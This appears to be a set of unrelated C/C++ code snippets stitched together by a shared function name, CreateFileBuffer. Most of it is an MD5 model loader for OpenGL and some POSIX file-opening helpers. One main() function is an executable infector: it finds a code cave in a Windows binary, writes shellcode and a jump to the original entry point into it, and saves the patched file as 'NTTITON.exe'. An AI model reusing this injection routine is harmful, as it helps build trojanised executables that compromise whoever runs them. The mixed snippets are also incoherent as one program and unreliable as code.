// 解析anim添加到anim列表中 void md5Model::AddAnimation( const char * _szAnimFile) { if(this->m_nNumAnimation < ANIMATION_MAX) { owBuffer * pBuffer = CreateFileBuffer(_szAnimFile); assert(pBuffer); model::InitAnimModel(&this->m_animModels[m_nNumAnimation],pBuffer); m_nNumAnimation++; } else { assert(false); return; } }
int ReOpenFileBuffered(const char *filename) { int fd; /* Open the file */ fd=open(filename,O_RDONLY); if(fd<0) { fprintf(stderr,"Cannot open file '%s' for reading [%s].\n",filename,strerror(errno)); exit(EXIT_FAILURE); } CreateFileBuffer(fd,1); return(fd); }
int OpenFileBufferedAppend(const char *filename) { int fd; /* Open the file */ fd=open(filename,O_WRONLY|O_CREAT|O_APPEND,S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH); if(fd<0) { fprintf(stderr,"Cannot open file '%s' for appending [%s].\n",filename,strerror(errno)); exit(EXIT_FAILURE); } CreateFileBuffer(fd,-1); return(fd); }
int SlimMapFileWriteable(const char *filename) { int fd; /* Open the file */ fd=open(filename,O_RDWR); if(fd<0) { fprintf(stderr,"Cannot open file '%s' for reading and writing [%s].\n",filename,strerror(errno)); exit(EXIT_FAILURE); } CreateFileBuffer(fd,0); return(fd); }
int main(int argc, char* argv[]) { void* lpBuffer = 0; unsigned long ulBuffer = CreateFileBuffer(argv[1], &lpBuffer); if (lpBuffer) { if (ulBuffer) { unsigned long ulCodeCave = 0; CodeCave sCodeCave = {0}; if (ulCodeCave = ScanCodeCave(&sCodeCave, lpBuffer,ulBuffer,sizeof(ucShellCode)+10)) { unsigned long ulOffset = 0; m_memcpy((void*)(sCodeCave.ulAddress), ucCallCode, sizeof(ucCallCode)); ulOffset = sCodeCave.ulEntryPoint - (sCodeCave.ulVirtualAddress + sCodeCave.ulVirtualAddressOffset + sizeof(ucCallCode)) - 5; m_memcpy(&ucJMP[1],&ulOffset, sizeof(unsigned long)); m_memcpy((void*)(sCodeCave.ulAddress + sizeof(ucCallCode)), ucJMP,sizeof(ucJMP)); m_memcpy((void*)(sCodeCave.ulAddress + sizeof(ucCallCode) + sizeof(ucJMP)), ucShellCode, sizeof(ucShellCode)); if (WriteFileBuffer("NTTITON.exe", lpBuffer,ulBuffer) == ulBuffer) { printf("Done\n"); } } else { AddSection(lpBuffer,ulBuffer, sizeof(ucShellCode) + 10); } } VirtualFree(lpBuffer,ulBuffer,MEM_RELEASE); } return 0; }
// 解析 并 创建mesh相关的 buffer object void md5Model::Init( const char * _szMeshFile ) { owBuffer * pBuffer = CreateFileBuffer(_szMeshFile); assert(pBuffer); model::InitMeshModel( &this->m_meshModel, pBuffer); pBuffer->Release(); // 初始化数据 m_nNumAnimation = 0; m_iActivedAnimID = -1; // 分配meshbuffer this->m_nNumMeshes = m_meshModel.m_nNumMeshes; this->m_pMeshBuffers = new md5MeshBuffer[m_meshModel.m_nNumMeshes]; // 为每个mesh创建相应的 buffer objects md5Mesh * pSubMesh = NULL; md5MeshBuffer * pSubMeshBuffer = NULL; for(int32_t meshIndex = 0;meshIndex < m_meshModel.m_nNumMeshes; ++meshIndex) { // 获取子mesh pSubMesh = m_meshModel.m_pMeshes + meshIndex; pSubMeshBuffer = this->m_pMeshBuffers + meshIndex; // 生成纹理 owBuffer * imageBuffer = CreateFileBuffer(pSubMesh->m_szTexture); if(imageBuffer) { Image * image = Image::ImageFromPng(imageBuffer); if(image) { pSubMeshBuffer->m_pTexture = TexOGL::CreateTexWidthImage(image,true); image->Release(); } imageBuffer->Release(); } else { pSubMeshBuffer->m_pTexture = TexOGL::CreateChessTex(); } // 创建VAO pSubMeshBuffer->m_pVertexArray = Graphics::VertexArray::CreateVertexArray(); // 创建IBO uint32_t bufferSize = 0; uint8_t* bufferPtr = NULL; bufferSize = pSubMesh->m_nNumTriangles * sizeof(ivector3); bufferPtr = (uint8_t *)pSubMesh->m_pTriangles; pSubMeshBuffer->m_pIndexBuffer = Graphics::VertexBuffer::CreateBuffer(bufferPtr,bufferSize); // 创建UV owBuffer * pUVBuffer = GetUVBuffer(pSubMesh); bufferSize = pUVBuffer->Size(); bufferPtr = (uint8_t*)pUVBuffer->GetBuffer(); pSubMeshBuffer->m_pUVBuffer = Graphics::VertexBuffer::CreateBuffer(bufferPtr,bufferSize); pUVBuffer->Release(); // 创建weight weight_struct * pWeightElements = new weight_struct[pSubMesh->m_nNumVertices]; for(int32_t vertIndex = 0; vertIndex<pSubMesh->m_nNumVertices; ++vertIndex) { md5Vertex * pVert = pSubMesh->m_pVertices + vertIndex; md5Weight * pVertWeight = NULL; pWeightElements[vertIndex].m_nNumJointCount = pVert->m_nCount>4?4:pVert->m_nCount; for(int32_t w = 0; w<pVert->m_nCount && w<4; ++w) { pVertWeight = pSubMesh->m_pWeights + w + pVert->m_nStart; pWeightElements[vertIndex].m_vecJointBias[w] = pVertWeight->m_fBias; pWeightElements[vertIndex].m_vecJointIndices[w] = pVertWeight->m_iJointIndex; } } bufferSize = sizeof(weight_struct) * pSubMesh->m_nNumVertices; bufferPtr = (uint8_t *)pWeightElements; pSubMeshBuffer->m_pWeightBuffer = Graphics::VertexBuffer::CreateBuffer( bufferPtr, bufferSize ); delete []pWeightElements; // 设设置 vao pSubMeshBuffer->m_pVertexArray->SetVertexBuffer(2,pSubMeshBuffer->m_pUVBuffer,2,0,0); pSubMeshBuffer->m_pVertexArray->SetVertexBufferI(3,pSubMeshBuffer->m_pWeightBuffer,1,sizeof(weight_struct),0,GL_INT); pSubMeshBuffer->m_pVertexArray->SetVertexBufferI(4,pSubMeshBuffer->m_pWeightBuffer,4,sizeof(weight_struct),sizeof(int),GL_INT); pSubMeshBuffer->m_pVertexArray->SetVertexBuffer(5,pSubMeshBuffer->m_pWeightBuffer,4,sizeof(weight_struct),sizeof(int)*5,GL_FLOAT); pSubMeshBuffer->m_pVertexArray->SetIndexBuffer(pSubMeshBuffer->m_pIndexBuffer); } // 计算逆矩阵 uint32_t nNumJoints = this->m_meshModel.m_nNumJoints; this->m_pUniformBoneMatrices = new matrix_4x4[nNumJoints]; this->m_pInverseBoneMatrices = new matrix_4x4[nNumJoints]; for(uint32_t j = 0;j<nNumJoints;++j) { quat q = m_meshModel.m_pJoints[j].m_quaOrient; fvector3 offset = m_meshModel.m_pJoints[j].m_vecOffset; matrix_4x4 boneMat = glm::translate( matrix_4x4(1.0),offset) * glm::mat4_cast( q ); // 求逆矩阵 m_pInverseBoneMatrices[j] = glm::inverse( boneMat ); } // 计算默认绑定骨骼 for(int32_t meshIndex = 0;meshIndex < m_meshModel.m_nNumMeshes; ++meshIndex) { // 获取子mesh pSubMesh = m_meshModel.m_pMeshes + meshIndex; pSubMeshBuffer = this->m_pMeshBuffers + meshIndex; // 创建 buffer fvector3 * pBindVertices = new fvector3[ pSubMesh->m_nNumVertices ]; for(int vertIdx = 0;vertIdx < pSubMesh->m_nNumVertices ;++vertIdx) { // 累积 weight bias 计算顶点 glm::vec3 result = glm::vec3(0,0,0); md5Vertex* pVert = pSubMesh->m_pVertices + vertIdx; for(int weightIdx = pVert->m_nStart; weightIdx < pVert->m_nCount + pVert->m_nStart; ++weightIdx ) { md5Weight* pWeight = pSubMesh->m_pWeights+weightIdx; uint32_t iJointIndex = pWeight->m_iJointIndex; glm::quat q = m_meshModel.m_pJoints[iJointIndex].m_quaOrient; glm::vec3 offset = m_meshModel.m_pJoints[iJointIndex].m_vecOffset; result += (offset + q * pWeight->m_vecOffset) * pWeight->m_fBias; } pBindVertices[vertIdx] = result; } pSubMeshBuffer->m_pBindposeVertexBuffer = Graphics::VertexBuffer::CreateBuffer( pBindVertices, pSubMesh->m_nNumVertices * sizeof(fvector3) ); pSubMeshBuffer->m_pVertexArray->SetVertexBuffer(0,pSubMeshBuffer->m_pBindposeVertexBuffer,3,0,0); pSubMeshBuffer->m_nNumElement = pSubMesh->m_nNumTriangles * 3; delete []pBindVertices; } }